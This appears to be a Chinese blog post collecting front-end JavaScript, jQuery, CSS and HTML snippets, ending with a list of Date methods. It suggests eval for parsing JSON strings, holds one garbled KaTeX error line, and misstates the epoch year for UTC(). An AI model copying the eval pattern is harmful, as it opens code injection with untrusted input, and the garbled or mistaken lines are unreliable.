    const iframe = document.createElement("iframe");
    iframe.style.display = "none"; // 防止影响页面
    iframe.style.height = 0; // 防止影响页面
    iframe.src = url;
    document.body.appendChild(iframe); // 这一行必须,iframe挂在到dom树上才会发请求
    // 5分钟之后删除(onload方法对于下载链接不起作用,就先抠脚一下吧)
    setTimeout(function (){
        iframe.remove();
    }, 5 * 60 * 1000);
}

base64图片转blob

function dataToBlobURL(dataURL)
 {
    /****************************************************************************************************
     * Converts a data:// URL (i.e. `canvas.toDataURL("image/png")`) to a blob:// URL.
     * This allows a shorter URL and a simple management of big data objects.
     */
    var parts = dataURL.match(/data:([^;]*)(;base64)?,([0-9A-Za-z+/]+)/);
    if (parts && parts.length >= 3) {
        // Assume base64 encoding
        var binStr = atob(parts[3]);
        // Convert to binary in ArrayBuffer
        var buf = new ArrayBuffer(binStr.length);
        var view = new Uint8Array(buf);
        for (var i = 0; i < view.length; i++) view[i] = binStr.charCodeAt(i);
        // Create blob with mime type, create URL for it
        var blob = new Blob([view], {
            'type': parts[1]
        });
        var objectURL = window.URL.createObjectURL(blob)
        return objectURL;
    } else {
        return null;
    }
}

滚动到底部

var ele = document.getElementById('id');
ele.scrollTop = ele.scrollHeight;

正则匹配

//使用正则表达式进行替换   回车、换行、空白符号:
String str=.replaceAll("\r|\n|\\s", "");
\r: 匹配一个回车符
\n: 换行符匹配
\\s:匹配任何空白字符,包括空格、制表符、换页符等

背景平铺半透明

<body style="width:2480px;height:3508px;margin:0px;background-image:url(aa.jpg);background-size: 50% auto; background-repeat:repeat ;opacity: 0.5;">
    <div style="width:100%;height:100%;background:rgba(255,255,255,1);"></div>
</body>

页面尺寸

Javascript:

网页可见区域宽: document.body.clientWidth
网页可见区域高: document.body.clientHeight
网页可见区域宽: document.body.offsetWidth (包括边线的宽)
网页可见区域高: document.body.offsetHeight (包括边线的高)
网页正文全文宽: document.body.scrollWidth
网页正文全文高: document.body.scrollHeight
网页被卷去的高: document.body.scrollTop
网页被卷去的左: document.body.scrollLeft
网页正文部分上: window.screenTop
网页正文部分左: window.screenLeft
屏幕分辨率的高: window.screen.height
屏幕分辨率的宽: window.screen.width
屏幕可用工作区高度: window.screen.availHeight
屏幕可用工作区宽度: window.screen.availWidth

 

JQuery:

$(document).ready(function(){
alert($(window).height()); //浏览器当前窗口可视区域高度
alert($(document).height()); //浏览器当前窗口文档的高度
alert($(document.body).height());//浏览器当前窗口文档body的高度
alert($(document.body).outerHeight(true));//浏览器当前窗口文档body的总高度 包括border padding margin

alert($(window).width()); //浏览器当前窗口可视区域宽度
alert($(document).width());//浏览器当前窗口文档对象宽度
alert($(document.body).width());//浏览器当前窗口文档body的宽度
alert($(document.body).outerWidth(true));//浏览器当前窗口文档body的总宽度 包括border padding margin

})

JQuery 插件入门

;(function($, window, document,undefined) {
    //定义Beautifier的构造函数
    var Beautifier = function(ele, opt) {
        this.$element = ele,
        this.defaults = {
            'color': 'red',
            'fontSize': '12px',
            'textDecoration': 'none'
        },
        this.options = $.extend({}, this.defaults, opt)
    }
    //定义Beautifier的方法
    Beautifier.prototype = {
        beautify: function() {
            return this.$element.css({
                'color': this.options.color,
                'fontSize': this.options.fontSize,
                'textDecoration': this.options.textDecoration
            });
        }
    }
    //在插件中使用Beautifier对象
    $.fn.myPlugin = function(options) {
        //创建Beautifier的实体
        var beautifier = new Beautifier(this, options);
        //调用其方法
        return beautifier.beautify();
    }
})(jQuery, window, document);

页面关闭前

window.onbeforeunload = function() {
	return "Are you sure you want to close?";
}

父窗口与子窗口函数调用

1、HTML语法:<iframe name="myFrame" src="child.html"></iframe> 
2、父窗口调用子窗口:myFrame.window.functionName(); 
3、子窗品调用父窗口:parent.functionName();
if(window.top==window.self){//不存在父页面
}

iframe中的fixed在部分浏览器失效

这个问题是使用jQuery WeUI时发现的,当时使用$.toast(“审批成功!”);有些浏览器看不到,发现是fixed失效了。后来改成window.parent.jQuery.toast(“审批成功!”);调用父窗口的函数,显示正常。

##inline-block对齐问题

//inline-block,是基于baseline对齐的,大小不一会导致上下不齐
.user-list li {
  display: inline-block;
  vertical-align: top;
}

##微信jssdk在iframe页面失效问题的解决措施
可以在主页面进行签名验证,子页面不添加jssdk的签名信息。需要调用jssdk接口时,比如图片选择接口,在jssdk的函数前加parent.,即调用父页面的此函数,经过测试,功能可正常调用。

parent.wx.chooseImage({
success: function (res) {
//upload_success(res.localIds);
}

##取消input的disabled
document.getElementById(‘id’).disabled=false
KaTeX parse error: Expected 'EOF', got '#' at position 3: ('#̲areaSelect').at…被占用的问题
可以通过var jq=jQuery.noConflict();来解决

##只能输入数字和英文、下划线的输入框

<input onkeyup="value=value.replace(/[\W]/g,'') " onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))" ID="Text1" NAME="Text1">

##动态插入js

var fileref=document.createElement('script')//创建标签
fileref.setAttribute("type","text/javascript")//定义属性type的值为text/javascript
fileref.setAttribute("src", "https://code.jquery.com/jquery.min.js")//文件的地址
document.getElementsByTagName("head")[0].appendChild(fileref);

##动态定义函数

var foo01 = function()
 {  
     var temp = 100;  
     this.temp = 200;  
     return temp + this.temp;  
 }  
alert(foo01());
var foo3 = new Function('var temp = 100; this.temp = 200; return temp + this.temp;'); 
带参数:
var sayHi = new Function("sName", "sMessage", "alert(\"Hello \" + sName + sMessage);");
等效于:
function sayHi(sName, sMessage) {
  alert("Hello " + sName + sMessage);
}

##jquery与js对象如何互转

//jquery对象转为js对象
function jQueryObjToJSObj(id){
alert($(“#”+id)[0].id);
}
//js对象转为jquery对象
function jsObjToJqueryObj(jsObj){
alert($(jsObj).id);
}

##div文字自适应居中

<div style="display: flex;align-items: center;justify-content: center;text-align: justify;width:100%;height: 100%;">
    <p id="toastMsg" style="font-size: 24px;word-break: break-all;padding: 24px;">消息内容</p>
</div>

##遮罩+弹出居中

//版本2
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>居中 弹窗 遮罩</title>
        <style>
            .maskDiv {
                justify-content:center;
                align-items:center;
                display:flex;
                position: fixed;
                left:0px;
                top:0px;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, 0.5);
                z-index: 1000;
            }
            .centerDiv{
                margin:auto;
                width:auto;
                height:auto;
                max-width: 100%;
                max-height: 100%;
                background-color: white;
                overflow:auto;
            }
            .row1 {
                background: #f7f7f7;
                padding: 0px 20px;
                line-height: 50px;
                height: 50px;
                font-weight: bold;
                color: #666;
                font-size: 20px;
            }
        </style>
        <script>
            function showMaskDiv(id)
            {
                document.getElementById(id).style.display ="flex";
            }
            function hideMaskDiv(id)
            {
                document.getElementById(id).style.display ="none";
            }
            function hideMaskDivAll()
            {
                var divs=document.getElementsByClassName("maskDiv");
                for(var i=0;i<divs.length;i++)
                {
                    divs[i].style.display ="none";
                }
            }
        </script>
    </head>
    <body style="height:200%;">
        <div id="div1" class="maskDiv">
            <div class="centerDiv" style="width:900px;">
                <p class="row1">原材库存详情<a href="javascript:void(0);" onclick="hideMaskDivAll()" style="float:right;color:#000;font-weight:bold;">×</a></p>
                <table id="Tkcdetail"> 
                    <tr>
                        <th class="table-title">序号</th>
                        <th class="table-title">规格</th>
                        <th class="table-title">长度</th>
                        <th class="table-title">根数</th>
                        <th class="table-title">重量(t)</th>
                        <th class="table-title">位置</th>
                        <th class="table-title">入库人</th>
                        <th class="table-title">入库时间</th>
                        <th class="table-title">二维码</th>
                    </tr>
                </table>
            </div>
        </div>
        <button onclick="showMaskDiv('div1')"> 显示</button>
    </body>
</html>
<html>
<head>
<title>DIV CSS遮罩层</title>
<script language="javascript" type="text/javascript">
function showdiv() {            
            document.getElementById("bg").style.display ="block";
            document.getElementById("show").style.display ="block";
        }
function hidediv() {
            document.getElementById("bg").style.display ='none';
            document.getElementById("show").style.display ='none';
        }
</script>
<style type="text/css">
    #bg{ 
        display: none; 
        position: fixed;  
        top: 0%;  left: 0%;  
        width: 100%;  
        height: 100%;  
        background-color: black;  
        z-index:1001;  
        -moz-opacity: 0.7;  
        opacity:.70;  
        filter: alpha(opacity=70);
    }
    #show{
        display: none;  
        position: absolute;  
        top:50%;
        left:50%;
        width:300px;
        height:200px;
        margin-left:-150px;
        margin-top:-100px;
        padding: 8px;  
        border: 8px solid #E8E9F7;  
        background-color: white;  
        z-index:1002;  
        overflow: auto;
    }
</style>
</head>
<body>
<input id="btnshow" type="button" value="Show" onclick="showdiv();"/>
<div id="bg"></div>
<div id="show">测试
<input id="btnclose" type="button" value="Close" onclick="hidediv();"/>
</div>
</body>
</html>

##urlencode

encodeURI——不会对本身属于URI的特殊字符进行编码,例如冒号、正斜杠、问号和井字号
encodeURIComponent——对任何非标准字符进行编码
相应解码函数:decodeURI,decodeURIComponent

##超出div自动滚动条

style="overflow:auto!important;"

##json对象与字符串转换

//由JSON字符串转换为JSON对象
var obj = eval('(' + str + ')');
或者
var obj = JSON.parse(str); 
//将JSON对象转化为JSON字符
var str=JSON.stringify(obj); 
//php数组转换
function object2array(&$object) {
	$object =  json_decode( json_encode( $object),true);
	return  $object;
}
//php创建stdClass对象
$user = new stdClass();
$user->name = 'gouki';

##解决子级对象使用css float浮动 而父级div不能自适应高度

<!DOCTYPE html> 
<html> 
<head> 
<meta charset="utf-8" /> 
<title>父div不自适应高度实例</title> 
<style> 
.divcss5{width:500px;border:1px solid #000;padding:10px} 
.divcss5-lf{ float:left; width:220px; height:100px; background:#000} 
.divcss5-rt{ float:right; width:230px; height:100px; background:#06F} 
.clear{ clear:both} 
</style> 
</head> 
<body> 
<div class="divcss5"> 
<div class="divcss5-lf"></div> 
<div class="divcss5-rt"></div> 
<div class="clear"></div> 
</div> 
</body> 
</html> 
<!DOCTYPE html> 
<html> 
<head> 
<meta charset="utf-8" /> 
<title>父div不自适应高度实例</title> 
<style> 
.divcss5{width:500px;border:1px solid #000;padding:10px; overflow:hidden } 
.divcss5-lf{ float:left; width:220px; height:100px; background:#000} 
.divcss5-rt{ float:right; width:230px; height:100px; background:#06F} 
</style> 
</head> 
<body> 
<div class="divcss5"> 
<div class="divcss5-lf"></div> 
<div class="divcss5-rt"></div> 
</div> 
</body> 
</html> 

##局部style

<style scoped>
/* styles go here */
</style>

##日期格式化

Date.prototype.Format = function(fmt)   
{ //author: meizz   
  var o = {   
    "M+" : this.getMonth()+1,                 //月份   
    "d+" : this.getDate(),                    //日   
    "h+" : this.getHours(),                   //小时   
    "m+" : this.getMinutes(),                 //分   
    "s+" : this.getSeconds(),                 //秒   
    "q+" : Math.floor((this.getMonth()+3)/3), //季度   
    "S"  : this.getMilliseconds()             //毫秒   
  };   
  if(/(y+)/.test(fmt))   
    fmt=fmt.replace(RegExp.$1, (this.getFullYear()+"").substr(4 - RegExp.$1.length));   
  for(var k in o)   
    if(new RegExp("("+ k +")").test(fmt))   
  fmt = fmt.replace(RegExp.$1, (RegExp.$1.length==1) ? (o[k]) : (("00"+ o[k]).substr((""+ o[k]).length)));   
  return fmt;   
}
//用法:
// (new Date()).Format("yyyy-MM-dd hh:mm:ss.S") ==> 2006-07-02 08:09:04.423   
// (new Date()).Format("yyyy-M-d h:m:s.S")      ==> 2006-7-2 8:9:4.18   

Date() 返回当日的日期和时间。
getDate() 从 Date 对象返回一个月中的某一天 (1 ~ 31)。
getDay() 从 Date 对象返回一周中的某一天 (0 ~ 6)。
getMonth() 从 Date 对象返回月份 (0 ~ 11)。
getFullYear() 从 Date 对象以四位数字返回年份。
getYear() 请使用 getFullYear() 方法代替。
getHours() 返回 Date 对象的小时 (0 ~ 23)。
getMinutes() 返回 Date 对象的分钟 (0 ~ 59)。
getSeconds() 返回 Date 对象的秒数 (0 ~ 59)。
getMilliseconds() 返回 Date 对象的毫秒(0 ~ 999)。
getTime() 返回 1970 年 1 月 1 日至今的毫秒数。
getTimezoneOffset() 返回本地时间与格林威治标准时间 (GMT) 的分钟差。
getUTCDate() 根据世界时从 Date 对象返回月中的一天 (1 ~ 31)。
getUTCDay() 根据世界时从 Date 对象返回周中的一天 (0 ~ 6)。
getUTCMonth() 根据世界时从 Date 对象返回月份 (0 ~ 11)。
getUTCFullYear() 根据世界时从 Date 对象返回四位数的年份。
getUTCHours() 根据世界时返回 Date 对象的小时 (0 ~ 23)。
getUTCMinutes() 根据世界时返回 Date 对象的分钟 (0 ~ 59)。
getUTCSeconds() 根据世界时返回 Date 对象的秒钟 (0 ~ 59)。
getUTCMilliseconds() 根据世界时返回 Date 对象的毫秒(0 ~ 999)。
parse() 返回1970年1月1日午夜到指定日期(字符串)的毫秒数。
setDate() 设置 Date 对象中月的某一天 (1 ~ 31)。
setMonth() 设置 Date 对象中月份 (0 ~ 11)。
setFullYear() 设置 Date 对象中的年份(四位数字)。
setYear() 请使用 setFullYear() 方法代替。
setHours() 设置 Date 对象中的小时 (0 ~ 23)。
setMinutes() 设置 Date 对象中的分钟 (0 ~ 59)。
setSeconds() 设置 Date 对象中的秒钟 (0 ~ 59)。
setMilliseconds() 设置 Date 对象中的毫秒 (0 ~ 999)。
setTime() 以毫秒设置 Date 对象。
setUTCDate() 根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
setUTCMonth() 根据世界时设置 Date 对象中的月份 (0 ~ 11)。
setUTCFullYear() 根据世界时设置 Date 对象中的年份(四位数字)。
setUTCHours() 根据世界时设置 Date 对象中的小时 (0 ~ 23)。
setUTCMinutes() 根据世界时设置 Date 对象中的分钟 (0 ~ 59)。
setUTCSeconds() 根据世界时设置 Date 对象中的秒钟 (0 ~ 59)。
setUTCMilliseconds() 根据世界时设置 Date 对象中的毫秒 (0 ~ 999)。
toSource() 返回该对象的源代码。
toString() 把 Date 对象转换为字符串。
toTimeString() 把 Date 对象的时间部分转换为字符串。
toDateString() 把 Date 对象的日期部分转换为字符串。
toGMTString() 请使用 toUTCString() 方法代替。 1 3
toUTCString() 根据世界时,把 Date 对象转换为字符串。
toLocaleString() 根据本地时间格式,把 Date 对象转换为字符串。
toLocaleTimeString() 根据本地时间格式,把 Date 对象的时间部分转换为字符串。
toLocaleDateString() 根据本地时间格式,把 Date 对象的日期部分转换为字符串。
UTC() 根据世界时返回 1997 年 1 月 1 日 到指定日期的毫秒数。
valueOf() 返回 Date 对象的原始值。

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值